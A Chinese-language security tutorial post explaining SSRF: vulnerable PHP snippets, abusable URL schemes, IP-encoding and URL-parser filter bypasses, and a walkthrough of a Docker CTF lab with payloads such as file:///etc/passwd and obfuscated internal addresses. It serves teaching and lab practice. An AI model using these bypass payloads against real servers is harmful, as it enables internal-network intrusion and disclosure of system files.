Day10 - SSRF(Server-Side Request Forgery)(1)

前言

• 昨天提到了CSRF，今天來講他的好朋友SSRF

這又是甚麼東西

• 是一種由攻擊者構造請求，由伺服器端發起請求的安全漏洞
• 在一般的情況下，在外網打不到企業或是學校的內部系統
• 示意圖
  • 

危害

• 透過那台通外網的伺服器來掃內網
• 向內部主機送想送的payload
• 攻擊內網的web service(maybe 有sqli, printer的web service)
• 利用LFI讀取檔案

後端漏洞的產生

• file_get_contents()
  • file_get_contents會去url中拿相片，接著存在server裡面，接著顯示在前端上

<?php
if (isset($_POST['url'])) { 
    $content = file_get_contents($_POST['url']); 
    $filename ='./images/'.rand().';img1.jpg'; 
    file_put_contents($filename, $content); 
    echo $_POST['url']; 
    $img = "<img src=\"".$filename."\"/>"; 
}
echo $img;
?>

• fsockopen()
  • 此段code會利用socket建立TCP連線，一樣把要利用到的資源放到後端中

<?php 
function GetFile($host,$port,$link) { 
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30); 
    if (!$fp) { 
        echo "$errstr (error number $errno) \n"; 
    } else { 
        $out = "GET $link HTTP/1.1\r\n"; 
        $out .= "Host: $host\r\n"; 
        $out .= "Connection: Close\r\n\r\n"; 
        $out .= "\r\n"; 
        fwrite($fp, $out); 
        $contents=''; 
        while (!feof($fp)) { 
            $contents.= fgets($fp, 1024); 
        } 
        fclose($fp); 
        return $contents; 
    } 
}
?>

• curl_exec()
  • 透過curl requests url，放到server上

<?php 
if (isset($_POST['url'])) {
    $link = $_POST['url'];
    $curlobj = curl_init();
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($curlobj);
    curl_close($curlobj);

    $filename = './curled/'.rand().'.txt';
    file_put_contents($filename, $result); 
    echo $result;
}
?>

協議利用

• dict://
  • 可以操作內網的協議
• gopher://
  • 能夠攻擊內網的FTP, telnet, Redis.....，這是在HTTP協議出現之前的就有的協議
• file://
  • 能夠利用這個協議，讀取主機內的任意文件

繞過(bypass)

• 更改IP的寫法
  • 例如192.168.0.1
    • 8進位: 0300.0250.0.1
    • 16進位: 0xC0.0xA8.0.1
    • 10進位整數: 3232235521
    • 16進位整數: 0xC0A80001
  • 奇怪的省略方式
    • 10.0.0.1能改成10.1
    • 也可以用ipv6繞過http://[::1]
• URL的解析問題，也有機會做繞過
  • http://www.google.com@192.168.0.1/ => http://192.168.0.1 => 192.168.0.1
  • 指向任何ip的domain
    • xip.io
    • 可以像這樣http://127.0.0.1.xip.io/ => http://127.0.0.1/
  • 句號
    • 127。0。0。1 => 127.0.0.1
  • Enclosed alphanumerics

  ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
  List:
  ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
  ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
  ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
  ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
  Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
  ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
  ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
  ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
  

詳情的繞過姿勢可以參考: https://github.com/w181496/Web-CTF-Cheatsheet#ssrf

SSRF-LABS

• https://github.com/m6a-UdS/ssrf-lab

介紹

• 這Lab裡面有分成basics, advanced1, advanced2, advanced3，環境架設除了basics使用docker run，其餘都用docker-compose
• 另外作者有整合一個CTF，裡面共五關，我就拿裡面CTF做範例
  • 這也要用docker-compose才run的起來

作者提示

• https://medium.com/poka-techblog/server-side-request-forgery-ssrf-attacks-part-1-the-basics-a42ba5cc244a
• https://medium.com/poka-techblog/server-side-request-forgery-ssrf-attacks-part-2-fun-with-ipv4-addresses-eb51971e476d

也可以參考此篇

安裝

• 需要docker, docker-compose哦

• 安裝ctf環境

# clone git
git clone https://github.com/m6a-UdS/ssrf-lab.git
cd ~/ssrf-lab/ctf
docker-compose up -d 

似乎要有amazon的伺服器才能測定，這邊我沒有設定Flag，有興趣的可以自行設定

題目

• 

• 

  • 這邊有個測試webhook的地方，從這裡可以懷疑服務是相當高機率通內網的，也就有機會造成SSRF的漏洞
  • flag5也是要用到AWS，我就不做示範

• code可以參考這個連結

  • link

Flag1

• 就直接向secret1.crop requests

http://secret1.corp

Flag2

• 試著讀讀檔案/etc/passwd，用到之前學到的file://協議

file:///etc/passwd

Flag3

• 給了ip: 10.0.0.38，要去讀取secret3.corp
  • 但看一下code，似乎過濾了該ip，用剛剛學到的來繞過ㄅ

if '10.0.0.38' in url or 'secret2.corp' in url:
    return 'Restricted Area!'

• 這邊提供幾種bypass方式
  • http://10.38
  • http://0x0a.0.0.26
  • http://0x0a000026
  • http://167772198

Flag4

• 不知道ip了，還有其他的招嗎?

url = request.form['handler']
host = urlparse.urlparse(url).hostname

if host == 'secret3.corp':
        return 'Restricted Area!'
    else:
        return urllib.urlopen(url).read()

• payload
  • 這個payload是基於urlparse的問題，在#之前的能夠繞過urlbypass，反而在@之後的會是我們真正要access的server
  • urlparse認為，google.com是host
  • 但urllib則認為secret3.corp是真正的host並發出requests
  • 詳情可以看orange大大的投影片
    • https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

http://google.com# @secret3.corp

ref

• https://ctf-wiki.github.io/ctf-wiki/web/ssrf-zh/#_2
• https://hackmd.io/@Lhaihai/H1B8PJ9hX#%E6%BC%8F%E6%B4%9E%E9%AA%8C%E8%AF%81
• https://_thorns.gitbooks.io/sec/content/ssrf_tips.html
• https://se8s0n.github.io/2019/05/19/SSRF-LABS%E6%8C%87%E5%8D%97/